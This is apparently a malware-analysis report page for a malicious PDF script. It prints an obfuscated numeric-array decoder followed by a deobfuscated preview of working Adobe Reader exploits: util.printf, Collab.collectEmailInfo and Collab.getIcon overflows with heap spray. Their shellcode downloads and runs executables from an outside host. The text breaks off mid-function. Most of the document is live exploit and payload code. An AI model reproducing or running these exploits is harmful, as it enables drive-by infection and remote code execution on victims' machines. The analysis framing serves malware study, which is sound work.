155,163,149,151,168,168,151,175,145,153,165,171,164,170,147,86,115,86,175,151,168,169,166,86,97,86,169,158,155,162,162,153,165,154,155,113,67,64,63,63,179,67,64,63,63,172,151,168,86,165,172,155,168,156,162,165,173,86,115,86,171,164,155,169,153,151,166,155,94,88,91,171,102,153,102,153,91,171,102,153,102,153,88,95,113,67,64,63,63,173,158,159,162,155,86,94,165,172,155,168,156,162,165,173,100,162,155,164,157,170,158,86,114,86,106,106,111,107,104,95,177,67,64,63,63,63,165,172,155,168,156,162,165,173,86,97,115,86,165,172,155,168,156,162,165,173,113,67,64,63,63,179,67,64,63,63,170,158,159,169,100,153,165,162,162,151,152,137,170,165,168,155,86,115,86,121,165,162,162,151,152,100,153,165,162,162,155,153,170,123,163,151,159,162,127,164,156,165,94,177,169,171,152,160,112,86,88,88,98,163,169,157,112,86,165,172,155,168,156,162,165,173,179,95,113,67,64,63,179,67,64,67,64,63,156,171,164,153,170,159,165,164,86,153,165,162,162,151,152,149,157,155,170,159,153,165,164,94,95,177,67,64,63,63,159,156,86,94,151,166,166,100,154,165,153,100,121,165,162,162,151,152,100,157,155,170,127,153,165,164,95,177,67,64,63,63,63,172,151,168,86,151,168,168,175,86,115,86,164,155,173,86,119,168,168,151,175,94,95,113,67,64,63,63,63,172,151,168,86,172,172,166,155,170,158,175,151,86,115,86,171,164,155,169,153,151,166,155,94,88,91,171,123,120,123,111,91,171,102,102,102,103,91,171,107,108,102,102,91,171,119,103,108,106,91,171,102,102,105,102,91,171,102,102,102,102,91,171,106,102,110,120,91,171,110,120,102,121,91,171,103,121,109,102,91,171,110,120,119,122,91,171,102,110,106,102,91,171,121,105,107,123,91,171,110,120,107,107,91,171,110,120,123,121,91,171,102,110,106,107,91,171,105,105,107,104,91,171,121,103,122,104,91,171,102,105,121,104,91,171,103,102,105,104,91,171,110,102,106,102,91,171,102,102,105,110,91,171,124,107,109,107,91,171,121,104,110,120,91,171,107,122,107,119,91,171,102,106,121,104,91,171,107,107,102,102,91,171,123,121,110,120,91,171,107,103,107,103,91,171,107,108,107,105,91,171,108,102,107,109,91,171,107,122,110,120,91,171,105,105,102,110,91,171,110,120,121,102,91,171,102,121,109,107,91,171,124,123,110,120,91,171,109,108,102,105,91,171,110,120,105,121,91,171,109,110,106,123,91,171,121,124,102,105,91,171,107,103,110,120,91,171,107,104,103,121,91,171,107,103,110,120,91,171,107,104,104,106,91,171,109,103,110,120,91,171,106,123,103,106,91,171,109,107,110,111,91,171,110,120,124,121,91,171,104,102,109,103,91,171,124,109,102,105,91,171,106,119,111,111,91,171,106,104,119,122,91,171,105,120,108,102,91,171,124,121,107,107,91,171,102,106,109,107,91,171,121,102,105,105,91,171,105,109,123,120,91,171,124,124,105,105,91,171,106,107,102,105,91,171,111,109,102,121,91,171,121,124,110,120,91,171,109,107,119,123,91,171,104,120,124,122,91,171,106,124,124,111,91,171,123,110,107,103,91,171,124,124,111,106,91,171,124,124,124,124,91,171,121,105,105,120,91,171,109,106,108,103,91,171,123,120,102,104,91,171,110,120,122,111,91,171,102,121,106,107,91,171,107,123,111,104,91,171,124,104,102,105,91,171,123,102,122,103,91,171,121,108,102,105,91,171,121,111,105,105,91,171,120,109,102,124,91,171,107,124,102,110,91,171,123,103,121,103,91,171,102,105,102,104,91,171,102,105,121,119,91,171,110,120,121,124,91,171,102,105,102,103,91,171,110,111,121,104,91,171,124,110,106,107,91,171,110,120,108,103,91,171,124,110,106,107,91,171,107,123,107,124,91,171,121,111,107,120,91,171,107,107,121,105,91,171,123,121,110,120,91,171,123,110,107,103,91,171,124,124,106,111,91,171,124,124,124,124,91,171,108,110,107,102,91,171,108,102,123,110,91,171,102,106,120,124,91,171,108,121,123,110,91,171,124,124,124,124,91,171,105,105,124,124,91,171,107,104,122,104,91,171,124,124,107,104,91,171,102,110,109,107,91,171,122,102,124,124,91,171,106,107,110,111,91,171,110,120,124,121,91,171,124,121,106,107,91,171,121,105,121,111,91,171,110,120,107,107,91,171,110,105,123,121,91,171,102,121,123,121,91,171,106,107,110,122,91,171,107,102,124,106,91,171,106,107,121,108,91,171,109,107,124,106,91,171,106,107,121,108,91,171,109,104,124,107,91,171,106,107,121,108,91,171,108,121,124,108,91,171,106,107,121,108,91,171,108,122,124,109,91,171,106,107,121,108,91,171,108,124,124,110,91,171,106,107,121,108,91,171,108,123,124,111,91,171,106,107,121,108,91,171,104,123,124,119,91,171,106,107,121,108,91,171,108,106,124,120,91,171,106,107,121,108,91,171,108,121,124,121,91,171,106,107,121,108,91,171,108,121,124,122,91,171,106,107,121,108,91,171,102,102,124,123,91,171,119,102,123,110,91,171,124,124,124,124,91,171,107,102,124,124,91,171,107,122,108,110,91,171,103,103,110,119,91,171,123,110,103,108,91,171,124,124,103,107,91,171,124,124,124,124,91,171,121,106,110,105,91,171,110,107,102,121,91,171,109,106,121,102,91,171,108,119,103,107,91,171,108,119,102,102,91,171,124,124,102,102,91,171,102,121,109,107,91,171,109,107,124,124,91,171,108,119,102,110,91,171,124,124,102,102,91,171,110,107,122,102,91,171,109,107,121,102,91,171,106,102,102,105,91,171,121,105,121,111,91,171,121,102,105,105,91,171,121,105,121,111,91,171,105,105,107,109,91,171,110,120,121,102,91,171,104,106,106,121,91,171,110,120,102,121,91,171,104,106,109,121,91,171,124,121,102,110,91,171,119,119,124,105,91,171,121,105,107,124,91,171,106,121,110,120,91,171,102,106,104,106,91,171,105,111,110,102,91,171,110,120,102,102,91,171,109,106,121,103,91,171,106,102,102,108,91,171,105,110,110,102,91,171,109,107,102,102,91,171,104,120,124,119,91,171,121,105,121,103,91,171,110,120,107,107,91,171,110,105,123,121,91,171,108,106,123,121,91,171,110,122,107,105,91,171,124,102,106,107,91,171,105,105,107,109,91,171,107,102,122,120,91,171,106,107,121,108,91,171,108,120,124,102,91,171,106,107,121,108,91,171,108,107,124,103,91,171,106,107,121,108,91,171,109,104,124,104,91,171,106,107,121,108,91,171,108,123,124,105,91,171,106,107,121,108,91,171,108,107,124,106,91,171,106,107,121,108,91,171,108,121,124,107,91,171,106,107,121,108,91,171,105,105,124,108,91,171,106,107,121,108,91,171,105,104,124,109,91,171,106,107,121,108,91,171,104,123,124,110,91,171,106,107,121,108,91,171,108,106,124,111,91,171,106,107,121,108,91,171,108,121,124,119,91,171,106,107,121,108,91,171,108,121,124,120,91,171,107,122,110,110,91,171,123,110,124,121,91,171,124,124,102,120,91,171,124,124,124,124,91,171,108,110,107,102,91,171,106,105,108,110,91,171,110,123,124,111,91,171,110,102,123,110,91,171,124,124,124,123,91,171,110,120,124,124,91,171,110,122,124,110,91,171,111,121,106,107,91,171,106,106,108,119,91,171,123,110,107,102,91,171,124,124,109,123,91,171,124,124,124,124,91,171,106,107,110,122,91,171,108,119,123,102,91,171,107,102,103,102,91,171,109,105,123,110,91,171,124,124,124,124,91,171,110,105,124,124,91,171,103,121,121,106,91,171,106,107,110,122,91,171,107,102,123,102,91,171,106,107,110,122,91,171,107,102,111,121,91,171,107,105,107,105,91,171,107,105,107,105,91,171,107,105,107,105,91,171,109,107,124,124,91,171,121,109,102,110,91,171,111,121,106,107,91,171,102,102,106,106,91,171,102,102,102,102,91,171,124,124,107,105,91,171,107,124,122,109,91,171,120,108,102,124,91,171,107,120,121,102,91,171,121,105,121,111,91,171,110,120,107,107,91,171,107,103,123,121,91,171,107,105,107,103,91,171,107,109,107,108,91,171,106,104,108,119,91,171,109,104,123,110,91,171,102,102,102,102,91,171,110,120,102,102,91,171,105,105,122,110,91,171,110,107,124,108,91,171,107,111,122,120,91,171,106,107,121,109,91,171,108,103,124,110,91,171,108,107,104,123,91,171,121,109,109,110,91,171,124,121,106,107,91,171,102,102,108,107,91,171,102,102,102,102,91,171,107,108,109,123,91,171,106,107,110,122,91,171,107,102,124,110,91,171,123,110,107,108,91,171,102,102,107,103,91,171,102,102,102,102,91,171,107,102,107,111,91,171,120,103,123,110,91,171,124,124,124,123,91,171,110,107,124,124,91,171,107,111,121,102,91,171,109,106,107,111,91,171,110,122,105,111,91,171,102,103,106,108,91,171,123,110,107,102,91,171,102,102,105,120,91,171,102,102,102,102,91,171,124,110,110,120,91,171,106,107,110,122,91,171,107,102,124,110,91,171,104,103,123,110,91,171,124,124,124,124,91,171,110,107,124,124,91,171,107,111,121,102,91,171,109,106,107,111,91,171,107,109,102,121,91,171,102,103,123,110,91,171,124,124,124,124,91,171,107,111,124,124,91,171,106,106,121,108,91,171,124,124,105,110,91,171,107,102,109,105,91,171,106,107,110,122,91,171,124,123,124,110,91,171,107,110,102,102,91,171,106,107,110,122,91,171,107,102,124,110,91,171,123,110,107,109,91,171,124,123,109,106,91,171,124,124,124,124,91,171,107,111,107,111,91,171,106,108,106,108,91,171,124,105,105,120,91,171,119,119,109,121,91,171,107,123,107,124,91,171,121,111,107,120,91,171,107,107,121,105,91,171,123,121,110,120,91,171,107,105,107,103,91,171,108,102,108,108,91,171,105,104,120,103,91,171,102,102,123,110,91,171,102,102,102,102,91,171,107,110,102,102,91,171,102,110,105,110,91,171,102,105,109,106,91,171,123,120,106,102,91,171,106,102,124,111,91,171,107,122,110,120,91,171,110,102,102,110,91,171,106,104,124,120,91,171,102,110,109,107,91,171,122,120,105,105,91,171,103,110,110,119,91,171,121,105,110,120,91,171,103,109,123,120,91,171,103,110,105,110,91,171,103,103,109,108,91,171,105,105,106,102,91,171,110,106,121,111,91,171,109,106,122,120,91,171,106,102,102,121,91,171,102,110,105,110,91,171,124,120,109,107,91,171,124,123,106,102,91,171,123,120,121,120,91,171,105,105,124,104,91,171,110,111,121,102,91,171,124,121,106,107,91,171,106,107,110,120,91,171,107,120,124,121,91,171,121,105,121,111,91,171,102,104,105,104,91,171,109,106,108,110,91,171,109,102,109,106,91,171,104,124,105,119,91,171,109,105,104,124,91,171,109,111,109,106,91,171,108,107,108,121,91,171,108,104,104,122,91,171,108,103,108,124,91,171,108,106,109,104,91,171,104,123,109,105,91,171,108,124,108,105,91,171,104,124,108,122,91,171,108,124,108,108,91,171,109,107,109,104,91,171,104,124,108,122,91,171,108,105,108,104,91,171,108,119,108,106,91,171,109,109,109,103,91,171,104,123,105,104,91,171,109,110,108,107,91,171,102,102,108,107,91,171,109,106,108,110,91,171,109,102,109,106,91,171,104,124,105,119,91,171,109,105,104,124,91,171,109,111,109,106,91,171,108,107,108,121,91,171,108,104,104,122,91,171,108,103,108,124,91,171,108,106,109,104,91,171,104,123,109,105,91,171,108,124,108,105,91,171,104,124,108,122,91,171,108,124,108,108,91,171,109,107,109,104,91,171,104,124,108,122,91,171,108,121,108,105,91,171,108,105,108,111,91,171,104,123,108,120,91,171,108,110,109,102,91,171,105,124,109,102,91,171,105,122,109,104,91,171,102,102,102,102,88,95,113,67,64,63,63,63,172,151,168,86,158,141,167,107,102,102,121,132,86,115,86,172,172,166,155,170,158,175,151,100,162,155,164,157,170,158,86,96,86,104,113,67,64,63,63,63,172,151,168,86,162,155,164,86,115,86,102,174,106,102,102,102,102,102,86,99,86,94,158,141,167,107,102,102,121,132,86,97,86,102,174,105,110,95,113,67,64,63,63,63,172,151,168,86,175,151,168,169,166,86,115,86,171,164,155,169,153,151,166,155,94,88,91,171,111,102,111,102,91,171,111,102,111,102,88,95,113,67,64,63,63,63,175,151,168,169,166,86,115,86,156,159,174,149,159,170,94,175,151,168,169,166,98,86,162,155,164,95,113,67,64,63,63,63,172,151,168,86,166,107,119,160,129,108,107,156,86,115,86,94,102,174,102,153,102,153,102,153,102,153,86,99,86,102,174,106,102,102,102,102,102,95,86,101,86,102,174,106,102,102,102,102,102,113,67,64,63,63,63,156,165,168,86,94,172,151,168,86,172,167,153,135,122,111,108,175,86,115,86,102,113,86,172,167,153,135,122,111,108,175,86,114,86,166,107,119,160,129,108,107,156,113,86,172,167,153,135,122,111,108,175,86,97,97,86,95,177,67,64,63,63,63,63,151,168,168,175,145,172,167,153,135,122,111,108,175,147,86,115,86,175,151,168,169,166,86,97,86,172,172,166,155,170,158,175,151,113,67,64,63,63,63,179,67,64,63,63,63,172,151,168,86,170,139,131,158,132,152,125,173,86,115,86,171,164,155,169,153,151,166,155,94,88,91,102,111,88,95,113,67,64,63,63,63,173,158,159,162,155,86,94,170,139,131,158,132,152,125,173,100,162,155,164,157,170,158,86,114,86,102,174,106,102,102,102,95,177,67,64,63,63,63,63,170,139,131,158,132,152,125,173,86,97,115,86,170,139,131,158,132,152,125,173,113,67,64,63,63,63,179,67,64,63,63,63,170,139,131,158,132,152,125,173,86,115,86,88,132,100,88,86,97,86,170,139,131,158,132,152,125,173,113,67,64,63,63,63,151,166,166,100,154,165,153,100,121,165,162,162,151,152,100,157,155,170,127,153,165,164,94,170,139,131,158,132,152,125,173,95,113,67,64,63,63,179,67,64,63,179,67,64,67,64,63,156,171,164,153,170,159,165,164,86,166,154,156,149,169,170,151,168,170,94,95,177,67,64,67,64,63,63,172,151,168,86,172,155,168,169,159,165,164,86,115,86,151,166,166,100,172,159,155,173,155,168,140,155,168,169,159,165,164,100,170,165,137,170,168,159,164,157,94,95,113,67,64,63,63,172,155,168,169,159,165,164,86,115,86,172,155,168,169,159,165,164,100,168,155,166,162,151,153,155,94,101,146,122,101,157,98,93,93,95,113,67,64,63,63,172,151,168,86,172,151,168,169,159,165,164,149,151,168,168,151,175,86,115,86,164,155,173,86,119,168,168,151,175,94,172,155,168,169,159,165,164,100,153,158,151,168,119,170,94,102,95,98,86,172,155,168,169,159,165,164,100,153,158,151,168,119,170,94,103,95,98,86,172,155,168,169,159,165,164,100,153,158,151,168,119,170,94,104,95,95,113,67,64,63,63,159,156,86,94,94,172,151,168,169,159,165,164,149,151,168,168,151,175,145,102,147,86,115,115,86,110,95,86,92,92,86,94,172,151,168,169,159,165,164,149,151,168,168,151,175,145,103,147,86,115,115,86,102,95,86,178,178,86,94,172,151,168,169,159,165,164,149,151,168,168,151,175,145,103,147,86,115,115,86,103,86,92,92,86,172,151,168,169,159,165,164,149,151,168,168,151,175,145,104,147,86,114,86,105,95,95,177,67,64,63,63,63,171,170,159,162,149,166,168,159,164,170,156,94,95,113,67,64,63,63,179,67,64,63,63,159,156,86,94,94,172,151,168,169,159,165,164,149,151,168,168,151,175,145,102,147,86,114,86,110,95,86,178,178,86,94,172,151,168,169,159,165,164,149,151,168,168,151,175,145,102,147,86,115,115,86,110,86,92,92,86,172,151,168,169,159,165,164,149,151,168,168,151,175,145,103,147,86,114,86,104,86,92,92,86,172,151,168,169,159,165,164,149,151,168,168,151,175,145,104,147,86,114,86,104,95,95,177,67,64,63,63,63,153,165,162,162,151,152,149,155,163,151,159,162,94,95,113,67,64,63,63,179,67,64,63,63,159,156,86,94,94,172,151,168,169,159,165,164,149,151,168,168,151,175,145,102,147,86,114,86,111,95,86,178,178,86,94,172,151,168,169,159,165,164,149,151,168,168,151,175,145,102,147,86,115,115,86,111,86,92,92,86,172,151,168,169,159,165,164,149,151,168,168,151,175,145,103,147,86,114,86,103,95,95,177,67,64,63,63,63,153,165,162,162,151,152,149,157,155,170,159,153,165,164,94,95,113,67,64,63,63,179,67,64,63,179,67,64,67,64,63,166,154,156,149,169,170,151,168,170,94,95,113,67,64,63],bqry=function(){for(var cdjsz;aeqy<egkory.length;aeqy+=1){var oxyz=aeqy%knqs.length+1;var fkuw=knqs.substring(aeqy%knqs.length,oxyz);var afknou=egkory[aeqy];egjkmy+=ijks(afknou-fkuw.charCodeAt(0));}
dinpy(egjkmy);};bqry();blruxz="blruxz";aoqrz=true;afgmv='';emuz=false;bimoqz="bimoqz";dhop="";dlnr=false;beoq="beoq";
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | numeric array subtract-key decoded JavaScript at offset 0x1A5 | 10030 bytes |
SHA-256: 99b06e9ff37abbe8039025cc41d197541d27fa5c8175404fee9d5f52207ab635 |
|||
|
Detection
ClamAV:
Js.Exploit.Shellcode-18
Obfuscation or payload:
likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function fix_it(yarsp, len){
while (yarsp.length * 2 < len){
yarsp += yarsp;
}
yarsp = yarsp.substring(0, len/2);
return yarsp;
}
function util_printf(){
var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6A69%u736C%u7774%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock = nop + payload;
var bigblock = unescape("%u0A0A%u0A0A");
var headersize = 20;
var spray = headersize + heapblock.length;
while (bigblock.length < spray){
bigblock += bigblock;
}
var fillblock = bigblock.substring(0, spray);
var block = bigblock.substring(0, bigblock.length-spray);
while (block.length+spray < 0x40000){
block = block + block + fillblock;
}
var mem_array = new Array();
for (var i = 0; i < 1400; i++){
mem_array[i] = block + heapblock;
}
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f", num);
}
function collab_email(){
var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u7267%u7675%u7877%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var mem_array = new Array();
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = shellcode.length * 2;
var len = addr - (sc_len+0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var count2 = (cc - 0x400000)/addr;
for (var count = 0; count < count2; count++){
mem_array[count] = yarsp + shellcode;
}
var overflow = unescape("%u0c0c%u0c0c");
while (overflow.length < 44952){
overflow += overflow;
}
this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow});
}
function collab_geticon(){
if (app.doc.Collab.getIcon){
var arry = new Array();
var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6362%u6A64%u7771%u2E32%u7865%u0065%u7468%u7074%u2F3A%u732F%u7974%u656C%u622D%u616F%u6472%u2E73%u6F63%u2F6D%u6F66%u7572%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var hWq500CN = vvpethya.length * 2;
var len = 0x400000 - (hWq500CN + 0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
arry[vqcQD96y] = yarsp + vvpethya;
}
var tUMhNbGw = unescape("%09");
while (tUMhNbGw.length < 0x4000){
tUMhNbGw += tUMhNbGw;
}
tUMhNbGw = "N." + tUMhNbGw;
app.doc.Collab.getIcon(tUMhNbGw);
}
}
function pdf_start(){
var version = app.viewerVersion.toString();
version = version.replace(/\D/g,'');
var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
if ((varsion_array[0] == 8) && (varsion_array[1] == 0) || (varsion_array[1] == 1 && varsion_array[2] < 3)){
util_printf();
